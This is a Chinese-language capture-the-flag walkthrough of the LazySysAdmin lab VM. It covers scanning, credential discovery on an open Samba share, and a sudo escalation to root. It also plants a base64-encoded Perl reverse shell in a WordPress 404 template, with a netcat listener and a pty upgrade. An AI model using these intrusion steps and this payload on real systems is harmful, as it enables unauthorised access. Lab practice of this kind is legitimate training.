一个孤独和懒惰的系统管理员哭泣自己睡觉的故事
Difficulty:中等/初学者
Goal:
1.教初学者一些基本的Linux枚举技巧
2.让自己更加熟悉Linux的服务配置,然后创造更多靶机给大家去学习
3.得到root权限&找到flag
先试用nmap确定靶机的IP地址
nmap -sP 192.168.100.0/24
确定靶机的IP地址为192.168.100.10
然后我们在对靶机的进行端口扫描
再用nmap -A 192.168.100.10 详细的查看下靶机的信息
root@kali:~# nmap -A 192.168.100.10
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-19 14:07 CST
Nmap scan report for 192.168.100.10
Host is up (0.00028s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
| 2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
| 256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
|_ 256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Silex v2.2.7
| http-robots.txt: 4 disallowed entries
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL (unauthorized)
6667/tcp open irc InspIRCd
| irc-info:
| server: Admin.local
| users: 1
| servers: 1
| chans: 0
| lusers: 1
| lservers: 0
| source ident: nmap
| source host: 192.168.100.8
|_ error: Closing link: ([email protected]) [Client exited]
MAC Address: 08:00:27:D6:A0:DD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_clock-skew: mean: -3h19m59s, deviation: 5h46m24s, median: 0s
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user:, NetBIOS MAC: (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: lazysysadmin
| NetBIOS computer name: LAZYSYSADMIN\x00
| Domain name: \x00
| FQDN: lazysysadmin
|_ System time: 2018-11-19T16:07:46+10:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-11-19 14:07:46
|_ start_date: N/ATRACEROUTE
HOP RTT ADDRESS
1 0.28 ms 192.168.100.10OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.50 seconds
InspIRCd,是一个UNIX系统和Windows系统的聊天服务器
Samba,是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS(Server Message Block/Common Internet File System)网络协议做链接的自由软件。第三版不仅可访问及分享SMB的文件夹及打印机,本身还可以集成入Windows Server的网域,扮演为网域控制站(Domain Controller)以及加入Active Directory成员。简而言之,此软件在Windows与UNIX系列操作系统之间搭起一座桥梁,让两者的资源可互通有无。--维基百科
按照常规先看看web能不能找到什么线索
用drib对目录进行扫描下
dirb "http://192.168.100.10/" dirbuster-ng-master/wordlists/big.txt
发现了phpmyadmin和wordpress
爆破失败……
看到这段信息 就用WPscan扫一下这个wordpress站点看看能不能扫到什么漏洞直接利用
一个用户admin,主题是twentyfifteen - v1.8,没有装插件,干干净净的wordpress,想从这打进去怕是不现实了。。。
没有什么发现……
看下能不能连进去
发现了一个printf$
和一个share$
,应该一个是打印机,但是连不上,试了下共享文件夹,打开就发现了惊喜
竟然是wordpress站点的目录,这样子,能搞的事情就多了啦:),先尝试能不能上传文件,发现不行,但是可以下载文件,那就看下有没有什么敏感信息。
有个todolist,但是好像没啥用
有个deets.txt文件
CBF Remembering all these passwords.
Remember to remove this file and update your password after we push out the server.
Password 12345
用户名togie???密码12345???连连ssh试试??
那试试看看能不能togie用户有没有sudo的权限(讲道理都不会有。。。)
然而又一次让人震惊了。。。
togie@LazySysAdmin:~$ sudo su [sudo] password for togie: root@LazySysAdmin:/home/togie#
于是,顺顺利利拿到flag。。。
顺便看看配置文件,把数据库密码扒下来
是个残废的phpmyadmin
这里我们试下WP的密码会不会跟数据库是一个密码呢,毕竟是一个很懒的系统管理员
我们在那边不断重复My name is togie.的文章评论下找到管理员
那么我们试试看 账号:Admin 密码:TogieMYSQL12345^^
看能不能登陆WP后台,登陆成功!
然后我们通过编辑404来反弹shell
代码
'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
编辑好后,点击下面的upload file应用
然后我们在kali上运行
nc -lvp 5555
然后打开网页http://192.168.100.10/wordpress/?p=200
等待反弹shell,中间可能需要稍微等待一下,最好打一条命令,如果建立成功能立马返回消息你能看到
因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。
刚好目标机有python环境,所以我们导入Python的pty模块。
python -c 'import pty; pty.spawn("/bin/sh")'
所以用CVE-2017-1000112提权即可,但是目标机上没有gcc,这时候,我们可以本地搭建和目标机一样的环境,在本地编译好提权exp后,在目标机器上运行即可。
dirb安装方法(kali已自带)
wget https://svwh.dl.sourceforge.net/project/dirb/dirb/2.22/dirb222.tar.gz
tar zxvf dirb222.tar.gz
cd dirb222/
apt-get install libcurl4-gnutls-dev
./configure && make
./dirb #运行即可